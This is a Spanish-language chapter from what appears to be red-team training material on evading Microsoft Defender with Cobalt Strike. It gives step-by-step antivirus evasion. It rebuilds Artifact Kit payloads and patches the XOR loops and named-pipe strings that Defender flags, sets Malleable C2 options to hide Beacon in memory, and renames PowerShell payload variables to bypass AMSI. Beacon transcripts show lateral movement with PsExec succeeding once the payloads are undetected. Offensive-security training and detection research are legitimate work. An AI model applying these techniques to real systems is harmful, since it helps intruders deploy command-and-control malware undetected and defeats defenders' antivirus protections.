Microsoft Defender Antivirus
Microsoft Defender Antivirus
Microsoft Defender es un producto antivirus que viene preinstalado con Windows (tanto en ediciones de escritorio como de servidor). En años anteriores, Defender era visto como una especie de broma, pero desde entonces ha evolucionado hasta convertirse en una defensa bastante formidable. Hay tres facetas en su capacidad de detección que exploraremos en este capítulo.
- En disco
- En memoria
- Basada en comportamiento
Antes de profundizar en cada una, es útil explicar cómo se generan las cargas útiles en Cobalt Strike, ya que hay algunas partes individuales. Beacon en sí mismo está escrito como un DLL reflectivo basado en el trabajo de Steven Fewer, por lo que existe el DLL central de Beacon (todo lo que hace que Beacon funcione realmente) más un componente de cargador reflectivo. Luego, estos se convierten en shellcode independiente de posición, que cuando es inyectado y ejecutado, llama al punto de entrada del cargador reflectivo. El cargador reflectivo luego carga el DLL de Beacon en memoria e inicia un nuevo hilo para ejecutarlo.
La configuración desde tu perfil de Malleable C2, como las direcciones de callback, se insertan en el DLL en el momento en que se generan las cargas útiles. Cuando generas artefactos de carga útil como los EXE's, DLL's y PowerShell, este shellcode de Beacon es generado, encriptado con XOR, y luego insertado en ellos. Los propios artefactos actúan como "inyectores" simples de shellcode. Todos ellos, con la excepción del binario de servicio, inyectan el shellcode de Beacon en sí mismos. Ese flujo se ve algo así.
El binario de servicio es idéntico excepto que genera otro proceso y realiza una inyección remota en su lugar.
La complicación al intentar evadir firmas de AV es saber a qué "parte" de la carga útil se aplican: el Beacon central, el cargador reflectivo o el artefacto.
Artifact Kit
Aunque soltar archivos en disco tiene mala reputación, hay instancias donde es bastante inevitable si queremos utilizar ciertas tácticas. Por ejemplo, podemos demostrar que tenemos acceso al File Server, pero no podemos utilizar PsExec para ello porque el payload del binario de servicio predeterminado es detectado por Defender.
beacon> ls \\fs.dev.cyberbotic.io\c$
Size Type Last Modified Name
---- ---- ------------- ----
dir 09/14/2022 15:44:51 $Recycle.Bin
dir 08/10/2022 04:55:17 $WinREAgent
dir 08/10/2022 05:05:53 Boot
dir 08/18/2021 23:34:55 Documents and Settings
dir 08/19/2021 06:24:49 EFI
dir 05/08/2021 08:20:24 PerfLogs
dir 09/14/2022 15:55:16 Program Files
dir 08/10/2022 04:06:16 Program Files (x86)
dir 09/14/2022 15:59:23 ProgramData
dir 09/14/2022 15:25:23 Recovery
dir 09/14/2022 15:25:04 System Volume Information
dir 09/14/2022 15:26:47 Users
dir 09/14/2022 15:25:15 Windows
427kb fil 08/10/2022 05:00:07 bootmgr
1b fil 05/08/2021 08:14:33 BOOTNXT
12kb fil 09/14/2022 16:00:25 DumpStack.log.tmp
1gb fil 09/14/2022 16:00:25 pagefile.sys
beacon> jump psexec64 fs.dev.cyberbotic.io smb
[-] Could not start service 633af16 on fs.dev.cyberbotic.io: 225
PS C:\Users\Attacker> net helpmsg 225
Operation did not complete successfully because the file contains a virus or potentially unwanted software.
Si copiamos el payload a nuestro escritorio local y verificamos el log asociado, podemos ver que el "archivo" fue detectado.
Estos "artefactos" de Cobalt Strike no son más que ejecutores de shellcode que inyectan el shellcode de Beacon cuando se ejecutan. Como regla general, inyectan el shellcode en sí mismos (por ejemplo, utilizando el patrón VirtualAlloc & CreateThread). El binario de servicio es la única excepción, ya que genera un nuevo proceso e inyecta el shellcode en ese en su lugar. Esto se hace para que cuando se mueva lateralmente con PsExec, el artefacto pueda ser eliminado del disco inmediatamente.
El Artifact Kit contiene el código fuente de estos artefactos y está diseñado para facilitar el desarrollo de inyectores seguros para sandbox. La idea es desarrollar artefactos que inyecten el shellcode de Beacon de una manera que no pueda ser emulada por los motores de AV. Hay varias técnicas de evasión incluidas con el kit que puedes modificar, o puedes implementar otras completamente nuevas por tu cuenta. Donde el Artifact Kit no ayuda es en hacer que Beacon sea resiliente a la detección una vez que esté ejecutándose en memoria (por ejemplo, mediante escáneres de memoria).
El kit se encuentra en C:\Tools\cobaltstrike\arsenal-kit\kits\artifact.
El código para el punto de entrada de cada formato de artefacto (es decir, EXE y DLL) se puede encontrar en src-main. Estos incluyen dllmain.c para los artefactos DLL, main.c para los artefactos EXE, y svcmain.c para los artefactos Service EXE. Estos simplemente llaman a una función llamada start, por lo que no deberías necesitar modificar estos archivos en la mayoría de los casos. La implementación de esta función se puede encontrar en cada archivo de evasión.
Estos se encuentran en src-common y están nombrados como bypass-<technique>.c. Los incluidos son:
- mailslot - lee el shellcode a través de un mailslot.
- peek - utiliza una combinación de Sleep, PeekMessage y GetTickCount.
- pipe - lee el shellcode a través de un named pipe.
- readfile - el artefacto se lee a sí mismo desde el disco y busca encontrar el shellcode incrustado.
Antes de hacer cualquier modificación al kit, construyamos una de estas variantes tal como está. El kit incluye un script de compilación que utiliza mingw para compilar los artefactos. Ejecutarlo sin argumentos mostrará el uso.
ubuntu@DESKTOP-3BSK7NO /m/c/T/c/a/k/artifact> ./build.sh
[Artifact kit] [-] Usage:
[Artifact kit] [-] ./build <techniques> <allocator> <stage size> <rdll size> <include resource file> <stack spoof> <syscalls> <output directory>
[Artifact kit] [-] - Techniques - a space separated list
[Artifact kit] [-] - Allocator - set how to allocate memory for the reflective loader.
[Artifact kit] [-] Valid values [HeapAlloc VirtualAlloc MapViewOfFile]
[Artifact kit] [-] - Stage Size - integer used to set the space needed for the beacon stage.
[Artifact kit] [-] For a 0K RDLL stage size should be 310272 or larger
[Artifact kit] [-] For a 5K RDLL stage size should be 310272 or larger
[Artifact kit] [-] For a 100K RDLL stage size should be 444928 or larger
[Artifact kit] [-] - RDLL Size - integer used to specify the RDLL size. Valid values [0, 5, 100]
[Artifact kit] [-] - Resource File - true or false to include the resource file
[Artifact kit] [-] - Stack Spoof - true or false to use the stack spoofing technique
[Artifact kit] [-] - Syscalls - set the system call method
[Artifact kit] [-] Valid values [none embedded indirect indirect_randomized]
[Artifact kit] [-] - Output Directory - Destination directory to save the output
[Artifact kit] [-] Example:
[Artifact kit] [-] ./build.sh "peek pipe readfile" HeapAlloc 310272 5 true true indirect /tmp/dist/artifact
Al principio puede parecer un poco intimidante, pero cada opción está explicada en la ayuda. También puedes revisar el archivo README.md dentro del directorio del Artifact Kit para obtener más información. Vamos a construir un nuevo conjunto de plantillas de artefactos utilizando la técnica bypass-pipe.
ubuntu@DESKTOP-3BSK7NO /m/c/T/c/a/k/artifact> ./build.sh pipe VirtualAlloc 310272 5 false false none /mnt/c/Tools/cobaltstrike/artifacts
[Artifact kit] [+] You have a x86_64 mingw--I will recompile the artifacts
[Artifact kit] [*] Using allocator: VirtualAlloc
[Artifact kit] [*] Using STAGE size: 310272
[Artifact kit] [*] Using RDLL size: 5K
[Artifact kit] [*] Using system call method: none
[Artifact kit] [+] Artifact Kit: Building artifacts for technique: pipe
[Artifact kit] [*] Recompile artifact32.dll with src-common/bypass-pipe.c
[Artifact kit] [*] Recompile artifact32.exe with src-common/bypass-pipe.c
[Artifact kit] [*] Recompile artifact32svc.exe with src-common/bypass-pipe.c
[Artifact kit] [*] Recompile artifact32big.dll with src-common/bypass-pipe.c
[Artifact kit] [*] Recompile artifact32big.exe with src-common/bypass-pipe.c
[Artifact kit] [*] Recompile artifact32svcbig.exe with src-common/bypass-pipe.c
[Artifact kit] [*] Recompile artifact64.x64.dll with src-common/bypass-pipe.c
[Artifact kit] [*] Recompile artifact64.exe with src-common/bypass-pipe.c
[Artifact kit] [*] Recompile artifact64svc.exe with src-common/bypass-pipe.c
[Artifact kit] [*] Recompile artifact64big.x64.dll with src-common/bypass-pipe.c
[Artifact kit] [*] Recompile artifact64big.exe with src-common/bypass-pipe.c
[Artifact kit] [*] Recompile artifact64svcbig.exe with src-common/bypass-pipe.c
[Artifact kit] [+] The artifacts for the bypass technique 'pipe' are saved in '/mnt/c/Tools/cobaltstrike/artifacts/pipe'
Cada variante del artefacto se compilará en /mnt/c/Tools/cobaltstrike/artifacts/pipe/ en mi caso, junto con un script aggressor, artifact.cna.
ubuntu@DESKTOP-3BSK7NO /m/c/T/c/a/k/artifact> ls -l /mnt/c/Tools/cobaltstrike/artifacts/pipe/
total 2044
-rwxrwxrwx 1 ubuntu ubuntu 11914 Nov 6 14:56 artifact.cna*
-rwxrwxrwx 1 ubuntu ubuntu 14336 Nov 6 14:55 artifact32.dll*
-rwxrwxrwx 1 ubuntu ubuntu 14848 Nov 6 14:55 artifact32.exe*
-rwxrwxrwx 1 ubuntu ubuntu 323584 Nov 6 14:55 artifact32big.dll*
-rwxrwxrwx 1 ubuntu ubuntu 324096 Nov 6 14:55 artifact32big.exe*
-rwxrwxrwx 1 ubuntu ubuntu 15360 Nov 6 14:55 artifact32svc.exe*
-rwxrwxrwx 1 ubuntu ubuntu 324608 Nov 6 14:55 artifact32svcbig.exe*
-rwxrwxrwx 1 ubuntu ubuntu 19456 Nov 6 14:56 artifact64.exe*
-rwxrwxrwx 1 ubuntu ubuntu 18432 Nov 6 14:55 artifact64.x64.dll*
-rwxrwxrwx 1 ubuntu ubuntu 328704 Nov 6 14:56 artifact64big.exe*
-rwxrwxrwx 1 ubuntu ubuntu 327680 Nov 6 14:56 artifact64big.x64.dll*
-rwxrwxrwx 1 ubuntu ubuntu 20480 Nov 6 14:56 artifact64svc.exe*
-rwxrwxrwx 1 ubuntu ubuntu 329728 Nov 6 14:56 artifact64svcbig.exe*
La convención de nombres de estos archivos indica para qué se utilizan:
- '32/64' denota arquitecturas de 32 y 64 bits.
- 'big' denota que es stageless.
- 'svc' denota que es un ejecutable de servicio.
Antes de cargarlos en Cobalt Strike, es útil analizarlos con una herramienta como ThreatCheck. Esto dividirá el archivo en pequeños fragmentos y los escaneará con Defender para revelar cualquier parte que active firmas estáticas. Nota que ThreatCheck no puede emular el sandbox del AV, por lo que esto es solo para firmas estáticas.
PS C:\Users\Attacker> C:\Tools\ThreatCheck\ThreatCheck\bin\Debug\ThreatCheck.exe -f C:\Tools\cobaltstrike\artifacts\pipe\artifact64svcbig.exe
[+] Target file size: 329728 bytes
[+] Analyzing...
[!] Identified end of bad bytes at offset 0xBEC
00000000 B9 06 00 00 00 4C 89 E7 4C 8D 05 05 E9 04 00 F3 1····L?çL?··é··ó
00000010 AB 4C 89 E9 C7 84 24 88 00 00 00 68 00 00 00 FF «L?éÇ?$?···h···ÿ
00000020 15 57 2D 05 00 45 31 C9 45 31 C0 31 C9 4C 89 64 ·W-··E1ÉE1A1ÉL?d
00000030 24 48 4C 89 EA 48 89 6C 24 40 48 C7 44 24 38 00 $HL?êH?l$@HÇD$8·
00000040 00 00 00 48 C7 44 24 30 00 00 00 00 C7 44 24 28 ···HÇD$0····ÇD$(
00000050 04 00 00 00 C7 44 24 20 01 00 00 00 FF 15 8A 2B ····ÇD$ ····ÿ·?+
00000060 05 00 85 C0 74 32 48 8B 4C 24 70 48 85 C9 74 28 ··?At2H?L$pH?Ét(
00000070 0F 10 44 24 70 48 8D 54 24 50 4C 63 CE 49 89 D8 ··D$pH?T$PLcII?O
00000080 48 8B 84 24 80 00 00 00 0F 11 44 24 50 48 89 44 H??$?·····D$PH?D
00000090 24 60 E8 6E FE FF FF 90 48 81 C4 F8 04 00 00 5B $`èn_ÿÿ?H?Äo···[
000000A0 5E 5F 5D 41 5C 41 5D C3 57 56 48 83 EC 68 48 8D ^_]A\A]AWVH?ìhH?
000000B0 35 62 E8 04 00 31 C0 49 89 C9 48 8D 7C 24 20 B9 5bè··1AI?ÉH?|$ 1
000000C0 10 00 00 00 41 89 D2 F3 A5 4C 89 C2 4C 8D 44 24 ····A?Oó¥L?AL?D$
000000D0 20 48 89 C1 83 E1 07 8A 0C 0A 41 30 0C 00 48 FF H?A?á·?··A0··Hÿ
000000E0 C0 48 83 F8 40 75 EA 31 C0 41 39 C2 7E 12 48 89 AH?o@uê1AA9A~·H?
000000F0 C1 83 E1 07 8A 0C 0A 41 30 0C 01 48 FF C0 EB E9 A?á·?··A0··HÿAëé
Info
Asegúrate de que la protección en tiempo real esté deshabilitada en Defender antes de ejecutar ThreatCheck contra artefactos binarios.
Aquí podemos ver que el artefacto binario de servicio stageless tiene algo que no le gusta a Defender. Sin embargo, no hay mucho contexto sobre qué es esto o dónde se encuentra en el binario. Herramientas de análisis inverso como IDA y Ghidra pueden ser útiles aquí porque nos permiten diseccionar el archivo. Lanza Ghidra ejecutando el script de inicio en C:\Tools\ghidra-10.3.1\ghidraRun.bat. Crea un nuevo proyecto no compartido desde File > New Project, luego importa tu artefacto yendo a File > Import File.
Haz doble clic en el archivo importado para abrirlo en el CodeBrowser. Cuando se te solicite, selecciona Yes para analizar el binario (los analizadores seleccionados por defecto están bien). Esto puede tardar un minuto o más en completarse; verás una barra de progreso en la esquina inferior derecha de la ventana.
La siguiente tarea es encontrar la porción de código reportada por ThreatCheck, para lo cual hay dos métodos fáciles. El primero es buscar una secuencia de bytes específica proporcionada por ThreatCheck, por ejemplo: C1 83 E1 07 8A 0C 0A 41 30 0C 01 48 FF C0 EB E9. Ve a Search > Memory, pega la cadena en el cuadro de búsqueda y haz clic en Search All.
Aquí tenemos un resultado.
Hacer clic en él te llevará a la ubicación en el navegador de código.
El otro método es usar el "offset de bytes problemáticos" dado por ThreatCheck. Selecciona Navigation > Go To e ingresa file(n) donde n es el offset. En este caso sería file(0xBEC).
Desafortunadamente, no tenemos símbolos de depuración para las cargas útiles compiladas, por lo que los nombres de funciones y variables serán bastante genéricos, como FUN_xxx y lVarx. Sin embargo, aún podemos ver bastante fácilmente que la porción de código resaltada es un bucle for. Podemos volver al código fuente del Artifact Kit y buscar cualquier bucle similar.
Podemos descartar la mayoría de estos archivos porque no utilizamos el bypass readfile ni habilitamos syscalls. Por lo tanto, los candidatos en patch.c parecen los más prometedores. Debido a que este es un payload binario de servicio, sabemos que realizará una "migración" (es decir, genera un nuevo proceso e inyecta el shellcode de Beacon en él antes de salir). Esta función spawn bajo una directiva #ifdef _MIGRATE_ es un claro candidato para la versión descompilada en Ghidra.
Para romper la detección, solo tenemos que modificar la rutina para que se compile en una secuencia de bytes diferente. Por ejemplo:
for (x = 0; x < length; x++) {
char* ptr = (char *)buffer + x;
/* do something random */
GetTickCount();
*ptr = *ptr ^ key[x % 8];
}
Reconstruye el kit y escanea la nueva versión del artefacto. Esta vez tenemos una firma diferente; este es un proceso iterativo, por lo que debemos repetir estos pasos hasta que todas las detecciones hayan sido eliminadas.
[!] Identified end of bad bytes at offset 0xE44
00000000 89 C4 31 C0 49 83 FC FF 74 3E 85 DB 7E 1F 49 89 ?Ä1AI?üÿt>?U~·I?
00000010 F9 41 89 D8 48 89 F2 4C 89 E1 48 C7 44 24 20 00 ùA?OH?òL?áHÇD$ ·
00000020 00 00 00 FF 15 FB 29 05 00 85 C0 75 10 4C 89 E1 ···ÿ·û)··?Au·L?á
00000030 FF 15 3E 29 05 00 B8 01 00 00 00 EB 0B 8B 54 24 ÿ·>)··,····ë·?T$
00000040 4C 48 01 D6 29 D3 EB C2 48 83 C4 58 5B 5E 5F 41 LH·Ö)OëAH?ÄX[^_A
00000050 5C C3 41 54 56 53 48 83 EC 20 48 8B 1D 6B EB 04 \AATVSH?ì H?·kë·
00000060 00 48 63 4B 04 E8 22 17 00 00 48 8B 35 F3 29 05 ·HcK·è"···H?5ó)·
00000070 00 49 89 C4 B9 00 04 00 00 FF D6 8B 53 04 4C 89 ·I?Ä1····ÿÖ?S·L?
00000080 E1 E8 2A FF FF FF 85 C0 74 EA 8B 53 04 4C 8D 43 áè*ÿÿÿ?Atê?S·L?C
00000090 08 4C 89 E1 E8 B7 FD FF FF 4C 89 E1 E8 FB 16 00 ·L?áè·yÿÿL?áèû··
000000A0 00 31 C0 48 83 C4 20 5B 5E 41 5C C3 48 83 EC 68 ·1AH?Ä [^A\AH?ìh
000000B0 FF 15 4E 29 05 00 B9 AA 26 00 00 31 D2 41 B9 5C ÿ·N)··1ª&··1OA1\
000000C0 00 00 00 F7 F1 C7 44 24 50 5C 00 00 00 C7 44 24 ···÷ñÇD$P\···ÇD$
000000D0 48 65 00 00 00 C7 44 24 40 70 00 00 00 C7 44 24 He···ÇD$@p···ÇD$
000000E0 38 69 00 00 00 C7 44 24 30 70 00 00 00 C7 44 24 8i···ÇD$0p···ÇD$
000000F0 28 5C 00 00 00 C7 44 24 20 2E 00 00 00 41 B8 5C (\···ÇD$ .···A,\
Este parece estar relacionado con la llamada sprintf utilizada para crear el nombre de pipe pseudoaleatorio en bypass-pipe.c.
Podemos sortear esto cambiando lo siguiente:
sprintf(pipename, "%c%c%c%c%c%c%c%c%cnetsvc\\%d", 92, 92, 46, 92, 112, 105, 112, 101, 92, (int)(GetTickCount() % 9898));
Por algo como esto:
sprintf(pipename, "%c%c%c%c%c%c%c%c%crasta\\mouse", 92, 92, 46, 92, 112, 105, 112, 101, 92);
En la mayoría de los casos, no importa realmente a qué lo cambies, siempre y cuando sea diferente (y aún funcional). Con ese cambio, finalmente tenemos un artefacto limpio.
PS C:\Users\Attacker> C:\Tools\ThreatCheck\ThreatCheck\bin\Debug\ThreatCheck.exe -f C:\Tools\cobaltstrike\artifacts\pipe\artifact64svcbig.exe
[+] No threat found!
[*] Run time: 0.72s
Info
Nota que estos ejemplos específicos pueden diferir ya que las firmas y el payload de Beacon cambian con el tiempo, pero esta metodología siempre debería funcionar.
Cada tipo de artefacto probablemente también tendrá diferentes firmas utilizadas para detectarlos, las cuales tendrás que trabajar.
Para indicarle a Cobalt Strike que utilice estos nuevos artefactos, debemos cargar el aggressor script. Ve a Cobalt Strike > Script Manager > Load y selecciona el archivo artifact.cna en tu directorio de salida. Cualquier payload en formato DLL y EXE que generes a partir de ahora usará esos nuevos artefactos, así que usa Payloads > Windows Stageless Generate All Payloads para reemplazar todos tus payloads en C:\Payloads.
Info
Se recomienda encarecidamente eliminar primero los payloads existentes porque a veces solo se sobrescriben parcialmente con los nuevos.
Ahora deberíamos poder movernos lateralmente al servidor de archivos usando PsExec.
beacon> jump psexec64 fs.dev.cyberbotic.io smb
Started service 96126c2 on fs.dev.cyberbotic.io
[+] established link to child beacon: 10.10.122.15
Simplemente descarga el CNA desde el Script Manager si deseas volver a los payloads predeterminados.
Artifact Kit Demo
Malleable C2
Beacon también es susceptible de ser detectado mientras está ejecutándose en memoria. Algunas acciones, como el movimiento lateral, desencadenarán estos escaneos de memoria; pero Defender también realiza escaneos rutinarios contra procesos en ejecución. Por lo tanto, el tiempo entre el despliegue de tu Beacon y el tiempo de detección puede variar considerablemente. Puedes ver la etiqueta "sms" en la interfaz de usuario de Defender, lo que indica que la alerta se originó a partir de un escaneo de memoria.
Alternativamente, Get-MpThreatDetection los etiqueta como behavior:_process.
ActionSuccess : True
AdditionalActionsBitMask : 0
AMProductVersion : 4.18.23080.2006
CleaningActionID : 3
CurrentThreatExecutionStatusID : 3
DetectionID : {7114476A-30B4-4D1C-A50A-14C024DFBDD3}
DetectionSourceTypeID : 0
DomainUser :
InitialDetectionTime : 12/10/2023 13:52:38
LastThreatStatusChangeTime : 12/10/2023 13:52:40
ProcessName : C:\Windows\System32\rundll32.exe
RemediationTime : 12/10/2023 13:52:40
Resources : {behavior:_process: C:\Windows\System32\rundll32.exe, pid:3196:59045527721095,
process:_pid:3196,ProcessStart:133415922931504282}
ThreatID : 2147798570
ThreatStatusErrorCode : 0
ThreatStatusID : 4
PSComputerName :
Escanear el tipo de payload de shellcode con ThreatCheck puede ser una buena manera de encontrar estas firmas porque, aunque el binario del servicio en sí mismo está "limpio":
PS C:\Users\Attacker\Desktop> C:\Tools\ThreatCheck\ThreatCheck\bin\Debug\ThreatCheck.exe -f .\http_x64.svc.exe
[+] No threat found!
[*] Run time: 0.55s
El shellcode en bruto no lo está:
PS C:\Users\Attacker\Desktop> C:\Tools\ThreatCheck\ThreatCheck\bin\Debug\ThreatCheck.exe -f .\http_x64.xprocess.bin
[+] Target file size: 295936 bytes
[+] Analyzing...
[!] Identified end of bad bytes at offset 0xF61F
00000000 3B DE 7D 34 0F BE 13 48 FF C3 40 0F BE C5 8B CA ;_}4·_·HÿA@·_Å?E
00000010 C0 FA 04 41 83 C2 02 83 E1 0F 80 E2 0F 03 C8 40 Aú·A?A·?á·?â··E@
00000020 02 D5 43 88 4C 0B 01 49 8D 0C 18 43 88 14 0B 49 ·OC?L··I?··C?··I
00000030 83 C3 02 48 3B CF 7C C7 48 8B 5C 24 08 48 8B 6C ?A·H;I|ÇH?\$·H?l
00000040 24 10 48 8B 74 24 18 48 8B 7C 24 20 41 8B C2 C3 $·H?t$·H?|$ A?AA
00000050 CC 4C 63 D2 49 63 C1 49 83 EA 04 4C 3B D0 76 03 ILcOIcAI?ê·L;Dv·
00000060 33 C0 C3 4C 8B D9 48 83 C1 04 83 EA 04 74 25 45 3AAL?UH?A·?ê·t%E
00000070 33 C9 44 8B D2 49 2B C8 49 8B C1 49 FF C1 83 E0 3ÉD?OI+EI?AIÿA?à
00000080 03 42 8A 04 18 42 32 04 01 41 88 00 49 FF C0 49 ·B?··B2··A?·IÿAI
00000090 FF CA 75 E4 8B C2 C3 CC CC 48 8B C4 48 89 58 08 ÿEuä?AAIIH?ÄH?X·
000000A0 48 89 68 10 48 89 70 18 48 89 78 20 41 56 48 83 H?h·H?p·H?x AVH?
000000B0 EC 20 48 63 F2 49 63 C1 49 8B D8 48 83 C6 04 8B ì HcòIcAI?OH?Æ·?
000000C0 FA 48 8B E9 4D 8B F0 48 3B F0 76 04 33 C0 EB 33 úH?éM?dH;dv·3Aë3
000000D0 E8 E4 ED FF FF 33 D2 89 03 48 83 C3 04 85 FF 74 èäíÿÿ3O?·H?A·?ÿt
000000E0 20 48 2B EB 48 8B C7 48 8B CA 48 FF C2 83 E1 03 H+ëH?ÇH?EHÿA?á·
000000F0 42 8A 0C 31 32 0C 2B 88 0B 48 FF C3 48 FF C8 75 B?·12·+?·HÿAHÿEu
Esto nos indica que las firmas están apuntando al reflective loader o al Beacon DLL. El código fuente de Beacon es de código cerrado, por lo que no tenemos manera de acceder o modificarlo directamente. Técnicamente podríamos escribir un reflective loader completamente personalizado a través del kit UDRL, pero eso está fuera del alcance para la audiencia de RTO. La forma más sencilla de realizar modificaciones en ambos componentes es utilizando lo que está expuesto en Malleable C2.
Estas son las cuatro configuraciones simples que recomiendo probar:
stage {
set userwx "false";
set cleanup "true";
set obfuscate "true";
set module_x64 "xpsservices.dll";
}
Establecer userwx en false le indica al reflective loader que asigne memoria para el Beacon DLL como RW/RX en lugar de RWX. Aunque esto no elimina ninguna indicación del propio Beacon, tener memoria RX es ciertamente menos sospechoso que RWX.
Establecer cleanup en true le indica a Beacon que libere la memoria asociada con el reflective loader después de haber sido cargado. Una vez que Beacon está cargado, el reflective loader ya no es necesario y dejarlo en memoria solo resulta en indicadores esperando ser detectados. Esto permite que el reflective loader sea liberado, eliminando así esos indicadores por el resto de la vida útil de Beacon.
Establecer obfuscate en true hace varias cosas, pero la más interesante es que instruye al reflective loader a cargar Beacon en memoria sin sus cabeceras DLL. La omisión de estas cabeceras reduce el número de indicadores en memoria, lo que elude firmas dirigidas específicamente a ellas.
En todos los casos anteriores, podemos ver que la columna "Use" para la región de memoria de Beacon está vacía. Esto se debe a que la DLL se carga reflectivamente desde memoria, en lugar de ser cargada desde disco. Todas las demás regiones RX legítimas en el proceso están respaldadas por una DLL en disco, por lo que esto hace que Beacon resalte. Establecer el module_x64 (y module_x86 para payloads de 32 bits) le indica al reflective loader que cargue primero la DLL especificada desde disco y luego sobrescriba la memoria asignada para ella con Beacon. Esto tiene el efecto de hacer que parezca que la región de memoria de Beacon está respaldada por una DLL legítima. Hay dos advertencias a considerar al elegir una DLL para usar.
- El tamaño de la DLL debe ser igual o mayor que el de Beacon.
- La DLL no debe ser necesaria para la aplicación que aloja Beacon. Esto no es una preocupación al ejecutar los artifacts, pero se vuelve relevante al inyectar el shellcode de Beacon en procesos existentes.
Resource Kit
The Antimalware Scan Interface (AMSI) es un componente de Windows que permite a las aplicaciones integrarse con un motor antivirus proporcionando una interfaz consumible e independiente del lenguaje. Fue diseñado para abordar el malware "fileless" que fue tan popularizado por herramientas como el EmpireProject, que aprovechaba PowerShell para realizar C2 completamente en memoria.
Cualquier aplicación de terceros puede usar AMSI para escanear entradas del usuario en busca de contenido malicioso. Muchos componentes de Windows ahora utilizan AMSI, incluyendo PowerShell, Windows Script Host, JavaScript, VBScript y VBA. Si intentamos ejecutar una de las cargas útiles de PowerShell en nuestra máquina atacante, será bloqueada.
PS C:\Users\Attacker> C:\Payloads\smb_x64.ps1
At C:\Payloads\smb_x64.ps1:1 char:1
+ Set-StrictMode -Version 2
+ ~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
La alerta que produce Defender está etiquetada con amsi: en lugar de file:, lo que indica que se detectó algo malicioso en memoria.
Y al intentar moverse lateralmente al servidor de archivos, también fallará.
beacon> jump winrm64 fs.dev.cyberbotic.io smb
[-] Could not connect to pipe: 2 - ERROR_FILE_NOT_FOUND
[+] received output:
#< CLIXML
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04"><Obj S="progress" RefId="0"><TN RefId="0"><T>System.Management.Automation.PSCustomObject</T><T>System.Object</T></TN><MS><I64 N="SourceId">1</I64><PR N="Record"><AV>Preparing modules for first use.</AV><AI>0</AI><Nil /><PI>-1</PI><PC>-1</PC><T>Completed</T><SR>-1</SR><SD> </SD></PR></MS></Obj><S S="Error">At line:1 char:1_x000D__x000A_</S><S S="Error">+ Set-StrictMode -Version 2_x000D__x000A_</S><S S="Error">+ ~~~~~~~~~~~~~~~~~~~~~~~~~~_x000D__x000A_</S><S S="Error">This script contains malicious content and has been blocked by your antivirus software._x000D__x000A_</S><S S="Error"> + CategoryInfo : ParserError: (:) [], ParseException_x000D__x000A_</S><S S="Error"> + FullyQualifiedErrorId : ScriptContainedMaliciousContent_x000D__x000A_</S><S S="Error"> + PSComputerName : fs.dev.cyberbotic.io_x000D__x000A_</S><S S="Error"> _x000D__x000A_</S></Objs>
Aunque esto ocurre en memoria, las detecciones todavía se basan en firmas conocidas como "known bad". Los archivos de PowerShell son un poco más fáciles de analizar en comparación con archivos binarios. Escanearlo con ThreatCheck y el parámetro -e amsi revelará las cadenas maliciosas.
PS C:\Users\Attacker> C:\Tools\ThreatCheck\ThreatCheck\bin\Debug\ThreatCheck.exe -f C:\Payloads\smb_x64.ps1 -e amsi
[+] Target file size: 358025 bytes
[+] Analyzing...
[!] Identified end of bad bytes at offset 0x57450
00000000 4D 6A 49 79 4D 6A 49 79 4D 6A 49 79 4D 6A 49 79 MjIyMjIyMjIyMjIy
00000010 4D 6A 49 79 4D 6A 49 79 4D 6A 49 79 4D 6A 49 79 MjIyMjIyMjIyMjIy
00000020 4D 6A 49 79 4D 6A 49 79 4D 6A 49 79 4D 6A 49 79 MjIyMjIyMjIyMjIy
00000030 4D 6A 49 79 4D 6A 49 79 4D 6A 49 79 4D 6A 49 79 MjIyMjIyMjIyMjIy
00000040 4D 6A 49 79 4D 6A 49 79 4D 6A 49 79 4D 6A 49 79 MjIyMjIyMjIyMjIy
00000050 4D 6A 49 79 4D 6A 49 79 4D 6A 49 79 4D 6A 49 79 MjIyMjIyMjIyMjIy
00000060 4D 6A 49 79 4D 6A 49 79 4D 6A 49 79 4D 6A 49 79 MjIyMjIyMjIyMjIy
00000070 4D 6A 49 79 4D 6A 49 79 4D 6A 49 79 4D 6A 49 79 MjIyMjIyMjIyMjIy
00000080 4D 6A 49 79 4D 6A 49 79 4D 6A 49 79 4D 6A 49 79 MjIyMjIyMjIyMjIy
00000090 4D 6A 49 79 4D 6A 49 79 4D 6A 49 79 4D 6A 49 79 MjIyMjIyMjIyMjIy
000000A0 4D 6A 49 79 4D 6A 49 77 3D 3D 27 29 0A 0A 09 66 MjIyMjIw==')···f
000000B0 6F 72 20 28 24 78 20 3D 20 30 3B 20 24 78 20 2D or ($x = 0; $x -
000000C0 6C 74 20 24 76 61 72 5F 63 6F 64 65 2E 43 6F 75 lt $var_code.Cou
000000D0 6E 74 3B 20 24 78 2B 2B 29 20 7B 0A 09 24 76 61 nt; $x++) {··$va
000000E0 72 5F 63 6F 64 65 5B 24 78 5D 20 3D 20 24 76 61 r_code[$x] = $va
000000F0 72 5F 63 6F 64 65 5B 24 78 5D 20 2D 62 78 6F 72 r_code[$x] -bxor
[*] Run time: 3.13s
Info
Asegúrate de que la protección en tiempo real esté habilitada en Defender antes de ejecutar ThreatCheck contra artefactos de script.
La parte de la salida a la que queremos prestar atención es el bucle, que está en las líneas 26-28 de smb_x64.ps1.
for ($x = 0; $x -lt $var_code.Count; $x++) {
$var_code[$x] = $var_code[$x] -bxor 35
}
Como una prueba rápida, usa la función de buscar y reemplazar en un editor como VSCode para cambiar los nombres de las variables $x y $var_code por otros nombres, por ejemplo:
for ($i = 0; $i -lt $enc.Count; $i++) {
$enc[$i] = $enc[$i] -bxor 35
}
ThreatCheck ahora informa que la carga útil está limpia.
PS C:\Users\Attacker> C:\Tools\ThreatCheck\ThreatCheck\bin\Debug\ThreatCheck.exe -f C:\Payloads\smb_x64.ps1 -e amsi
[+] No threat found!
[*] Run time: 0.34s
Para hacer este cambio permanente en todas las cargas útiles de PowerShell, podemos modificar la plantilla relevante en el Resource Kit. Mientras que el Artifact Kit se utilizó para modificar los artefactos binarios, el Resource Kit se utiliza para modificar los artefactos basados en scripts, incluyendo PowerShell, Python, HTA y VBA. El Resource Kit se encuentra en C:\Tools\cobaltstrike\arsenal-kit\kits\resource y la carga útil PowerShell de 64 bits sin etapas se genera a partir de template.x64.ps1.
Curiosamente, si revisamos el contenido, Fortra ya ha proporcionado nombres de variables diferentes: $zz en lugar de $x y $v_code en lugar de $var_code.
for ($zz = 0; $zz -lt $v_code.Count; $zz++) {
$v_code[$zz] = $v_code[$zz] -bxor 35
}
